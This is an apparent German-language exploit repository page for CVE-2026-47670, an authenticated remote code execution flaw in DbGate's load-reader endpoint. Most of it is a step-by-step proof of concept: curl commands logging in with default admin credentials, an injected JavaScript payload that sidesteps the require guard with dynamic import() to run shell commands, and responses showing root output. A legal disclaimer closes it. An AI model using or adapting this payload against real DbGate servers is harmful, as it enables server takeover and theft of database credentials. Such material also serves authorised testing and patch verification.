
Authentifizierte Remotecodeausführung über loadReader-functionName-Codeinjektion in DbGate
Authentifizierte Remote-Codeausführung durch Code-Injection über den Parameter functionName in loadReader von DbGate
DbGate ist ein Open-Source-, plattformübergreifendes Datenbankverwaltungstool, das für Entwickler und Datenbankadministratoren entwickelt wurde, die gleichzeitig mit mehreren Datenbanksystemen arbeiten müssen. Es bietet eine einheitliche webbasierte und Desktop-Oberfläche zur Verwaltung von SQL- und NoSQL-Datenbanken - einschließlich MySQL, PostgreSQL, SQL Server, MongoDB, SQLite, Oracle und anderer - ohne zwischen verschiedenen Client-Anwendungen wechseln zu müssen. DbGate läuft als eigenständige Desktop-Anwendung unter Windows, macOS und Linux oder kann als Webanwendung über Docker bereitgestellt werden, was es für Teamumgebungen und Szenarien der Remote-Datenbankverwaltung beliebt macht.
CVE-2026-47670 ist eine authentifizierte Remote-Codeausführung (RCE)-Schwachstelle,
die DbGate-Versionen vor 7.1.9 betrifft. Der Fehler befindet sich im Endpunkt
/runners/load-reader, wo der Parameter functionName ohne ordnungsgemäße
Bereinigung an einen unsicheren Codeausführungspfad übergeben wird. Ein Angreifer mit
gültigen DbGate-Anmeldedaten kann über diesen Parameter beliebigen JavaScript-Code
injizieren, der auf dem Server mit root-Rechten ausgeführt wird. Die
Schwachstelle ist besonders gefährlich, weil die require = null-Absicherung der
Anwendung mithilfe dynamischer import()-Anweisungen trivial umgangen werden kann,
sodass Angreifer Shells starten, Datenbankanmeldedaten exfiltrieren, zu
verbundenen Datenbankservern wechseln oder das Hostsystem vollständig kompromittieren
können.
# Step 1 — authenticate and obtain Bearer token
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RESPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# Step 2 — inject via functionName (replace TOKEN and /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RESPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# Step 3 — read back command output
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RESPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
python CVE-2026-47670-X7.py
Dieses Repository und seine Inhalte werden ausschließlich für legitime Sicherheits- forschung, autorisierte Penetrationstests, Studienzwecke und defensive Zwecke bereitgestellt. Durch den Zugriff auf dieses Material oder dessen Nutzung erkennen Sie die volle Verantwortung dafür an, dass Ihre Aktivitäten allen geltenden Gesetzen entsprechen und dass Sie eine ordnungsgemäße Genehmigung eingeholt haben, bevor Sie diese Techniken gegen ein System testen oder anwenden, das Ihnen nicht gehört.
Die Autoren und Betreuer dieses Projekts übernehmen keinerlei Haftung für Schäden, rechtliche Konsequenzen oder Missbrauch, die sich aus der Anwendung dieser Informationen ergeben. Jegliche Nutzung für unbefugten Zugriff, böswillige Aktivitäten oder illegale Zwecke ist ausdrücklich untersagt und wird nicht unterstützt.
Verantwortungsvoll nutzen. Legal bleiben. Testen Sie nur, was Ihnen gehört oder wofür Sie eine ausdrückliche schriftliche Genehmigung haben.
SCT-PL